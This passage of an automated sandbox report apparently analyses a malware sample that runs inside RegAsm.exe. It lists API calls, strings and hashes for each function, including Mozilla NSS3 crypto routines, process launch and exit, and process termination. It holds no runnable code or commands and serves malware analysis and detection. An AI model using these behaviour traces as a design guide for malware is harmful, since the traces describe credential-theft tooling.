SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C472D6B,?,?), ref: 6C49AEA3

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: e5cc729b04a7659f968be7c449c17ec258a42a5e58b5cdf48d52f7635dfc7a2d
Instruction ID: 321ad2081eecc3de372e147ef36d63d32fa59c4435700b0cdd8de3b8b6f9dc93
Opcode Fuzzy Hash: e5cc729b04a7659f968be7c449c17ec258a42a5e58b5cdf48d52f7635dfc7a2d
Instruction Fuzzy Hash: 2E01A966F8503057EB01D16CAC85E9B3B988F9765DF090035E905D7B01FB15D90642E3

Function 00419260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(01501EC0,?,?,?,0041140C,?,01501EC0,00000000), ref: 0041926C
lstrcpyn.KERNEL32(0064AB88,01501EC0,01501EC0,?,0041140C,?,01501EC0), ref: 00419290
lstrlenA.KERNEL32(?,?,0041140C,?,01501EC0), ref: 004192A7
wsprintfA.USER32 ref: 004192C7

Strings

%s%s, xrefs: 004192B5

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: a59194731e19cd62a1114d9db51b1d7a77f87ed08144ed5303bdb74f02b8d175
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: FD010879580108FFCB04DFECC998EAE7BBAEB49394F108548F9098B300C635AA40DB95

Function 6C58ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C58A6D8), ref: 6C58AE0D
free.MOZGLUE(?), ref: 6C58AE14
DeleteCriticalSection.KERNEL32(6C58A6D8), ref: 6C58AE36
free.MOZGLUE(?), ref: 6C58AE3D
free.MOZGLUE(00000000,00000000,?,?,6C58A6D8), ref: 6C58AE47

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: dadac7ed899ce4d47329d58581ce90f9b03f57ff5357f8ce2846c9be4c27f540
Instruction ID: 63c11e11e136d8b2d8d2b051aedbe2f1fba97aadc62188d5494a53fb8bd7098f
Opcode Fuzzy Hash: dadac7ed899ce4d47329d58581ce90f9b03f57ff5357f8ce2846c9be4c27f540
Instruction Fuzzy Hash: BFF06275202E01A7CA10DFA99C0C95B7778FE86679715032CE52A87980E732F216C7D9

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: efdb286082815a34fe65cdf39a39efb78846e04f1ab798c9691acb082f02800f
Instruction ID: 747b7d94d78dcab7bc4ad9ba185e37b4c367e78d81b7dca89f1d9f587bf674ed
Opcode Fuzzy Hash: efdb286082815a34fe65cdf39a39efb78846e04f1ab798c9691acb082f02800f
Instruction Fuzzy Hash: EBF09632A817119BD7207BB95C467DE33A09F00728F24414FF414A62D2CBAC59D29E9E

Function 6C406C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C406D36

Strings

%s at line %d of [%.10s], xrefs: 6C406D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C406D20
database corruption, xrefs: 6C406D2A

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: a57f99850d5ee161323fad6a601f788b87cc56d49023785b80d75a667b4620e6
Instruction ID: 98b64c19365427c2bf04059f64183717dc07b67c87857371dd6b0e827477b3fe
Opcode Fuzzy Hash: a57f99850d5ee161323fad6a601f788b87cc56d49023785b80d75a667b4620e6
Instruction Fuzzy Hash: 9321DE707443059BD710CF1AD841F9AB7E2AF84308F148A2DDC5A9BB51E371E98ACB92

Function 00416630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416663

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00416726
ExitProcess.KERNEL32 ref: 00416755

Strings

<, xrefs: 004166D9

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 59ead0d7e25924aef004ea7918618779fbfb4a9f4f012c75c7c01a358e8d0a9d
Instruction ID: 5b5f5c47f0bfa9475b258acd8296b8f4f2330d650783268263d73b7fdd640aa3
Opcode Fuzzy Hash: 59ead0d7e25924aef004ea7918618779fbfb4a9f4f012c75c7c01a358e8d0a9d
Instruction Fuzzy Hash: 7F314AB1C01208ABDB14EB91DD82FDEB778AF04314F40518EF20966191DF786B89CF6A

Function 6C53CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C53CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C53CC7B), ref: 6C53CD7A
Part of subcall function 6C53CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C53CD8E
Part of subcall function 6C53CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C53CDA5
Part of subcall function 6C53CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C53CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C53CCB5
memcpy.VCRUNTIME140(6C5D14F4,6C5D02AC,00000090), ref: 6C53CCD3
memcpy.VCRUNTIME140(6C5D1588,6C5D02AC,00000090), ref: 6C53CD2B

Part of subcall function 6C459AC0: socket.WSOCK32(?,00000017,6C4599BE), ref: 6C459AE6
Part of subcall function 6C459AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C4599BE), ref: 6C459AFC

Part of subcall function 6C460590: closesocket.WSOCK32(6C459A8F,?,?,6C459A8F,00000000), ref: 6C460597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C53CCB0

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: ac2b3202054891969072743bb4959f1abcd13bab9cf48b95bd193201cc593f13
Instruction ID: 8c8b29e72057abea4f5a9f5cdbc56e4fab84a335fadff71d1693fb485923b6ef
Opcode Fuzzy Hash: ac2b3202054891969072743bb4959f1abcd13bab9cf48b95bd193201cc593f13
Instruction Fuzzy Hash: AD1160F5B223609EEB009F599C06B433AF89396628F161129E41ACBB42E775F4044FDE

Function 0041A920 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041A972
lstrcatA.KERNEL32(00000000), ref: 0041A982

Strings

vI@, xrefs: 0041A929
vI@, xrefs: 0041A937

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: vI@$vI@
API String ID: 3905823039-1245421781
Opcode ID: 3ea695b73edd8d98e36b7eab2f8d63ce422a58f28ac802970baeffa819a47fc3
Instruction ID: 271a46469eabd2290b2e3c410fce444a88fb87627d9bf606efbbe474ae7d75ee
Opcode Fuzzy Hash: 3ea695b73edd8d98e36b7eab2f8d63ce422a58f28ac802970baeffa819a47fc3
Instruction Fuzzy Hash: F011E878901108EFCB05EF94D885AEEB3B5FF49314F108599E825AB391C734AE92CF95

Function 00418D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
wsprintfW.USER32 ref: 00418D78

Strings

%hs, xrefs: 00418D6F

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction ID: e0c39cc4b97fe4de81499882959c588a1d03a161ade5b5bfa375175f6a3fb920
Opcode Fuzzy Hash: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction Fuzzy Hash: 96E08CB8A80208BFC710DBD4EC0AE697BB8EB05702F000194FE0A87280DA719E008B96

Function 6C588530 Relevance: 6.1, APIs: 4, Instructions: 127threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C5D14E4,6C53CC70), ref: 6C588569
gethostbyaddr.WSOCK32(?,00000004,00000002), ref: 6C5885AD
GetLastError.KERNEL32(?,00000004,00000002), ref: 6C5885B6
PR_GetCurrentThread.NSS3(?,00000004,00000002), ref: 6C5885C6

Part of subcall function 6C460F00: PR_GetPageSize.NSS3(6C460936,FFFFE8AE,?,6C3F16B7,00000000,?,6C460936,00000000,?,6C3F204A), ref: 6C460F1B
Part of subcall function 6C460F00: PR_NewLogModule.NSS3(clock,6C460936,FFFFE8AE,?,6C3F16B7,00000000,?,6C460936,00000000,?,6C3F204A), ref: 6C460F25

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CallCurrentErrorLastModuleOncePageSizeThreadgethostbyaddr
String ID:
API String ID: 4254312643-0
Opcode ID: 776334dd74af7c413359d05fa17baf29461c6a15f08bd71d14cd8ec06fdba263
Instruction ID: 558f1bcd611e62fac42d886c9669da8fccc43ca8d262131b7b922f2e8fcefc8f
Opcode Fuzzy Hash: 776334dd74af7c413359d05fa17baf29461c6a15f08bd71d14cd8ec06fdba263
Instruction Fuzzy Hash: 3E4105B0A0A726ABE7148A36CC54756B7B5EB4532CF08472BC92643EC2D7749984CBD3

Function 6C4C0420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6C4AC97F,?,?,?), ref: 6C4C04BF
TlsGetValue.KERNEL32(00000000,?,6C4AC97F,?,?,?), ref: 6C4C04F4
EnterCriticalSection.KERNEL32(?,?,?,6C4AC97F,?,?,?), ref: 6C4C050D
PR_Unlock.NSS3(?,?,?,?,6C4AC97F,?,?,?), ref: 6C4C0556

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: 804f2f2fb8f66f9eca9386cc4657de8840ad7cb1772f6a46ea5beb8b4c03cb1a
Instruction ID: b596106c82d550a0eb6f4316e9f358d1578e39655eb4aa3dd80836b6f5568ec2
Opcode Fuzzy Hash: 804f2f2fb8f66f9eca9386cc4657de8840ad7cb1772f6a46ea5beb8b4c03cb1a
Instruction Fuzzy Hash: 67415BB8A056428FDB14DF29C440E69BBF4FF44329F15856DD8998BB21E730E991CB81

Function 6C476C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C476C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C476CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C476CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C598FE0), ref: 6C476CFE

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 244385f3578d83f37ca9adba8f98bf9d1577fd52ab100560e848372b7bb17677
Instruction ID: ee4467573021c97f3681aa39ca6a646853cf66b353c82cec8130079f225be18b
Opcode Fuzzy Hash: 244385f3578d83f37ca9adba8f98bf9d1577fd52ab100560e848372b7bb17677
Instruction Fuzzy Hash: 15319EB5A012169FEB18DF65C891EFFBBFAEB45248B10442DD905D7700EB319905CBA0

Function 004194D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004194EB

Part of subcall function 00418D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
Part of subcall function 00418D50: HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
Part of subcall function 00418D50: wsprintfW.USER32 ref: 00418D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 004195AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 004195C9
CloseHandle.KERNEL32(00000000), ref: 004195D6

Memory Dump Source

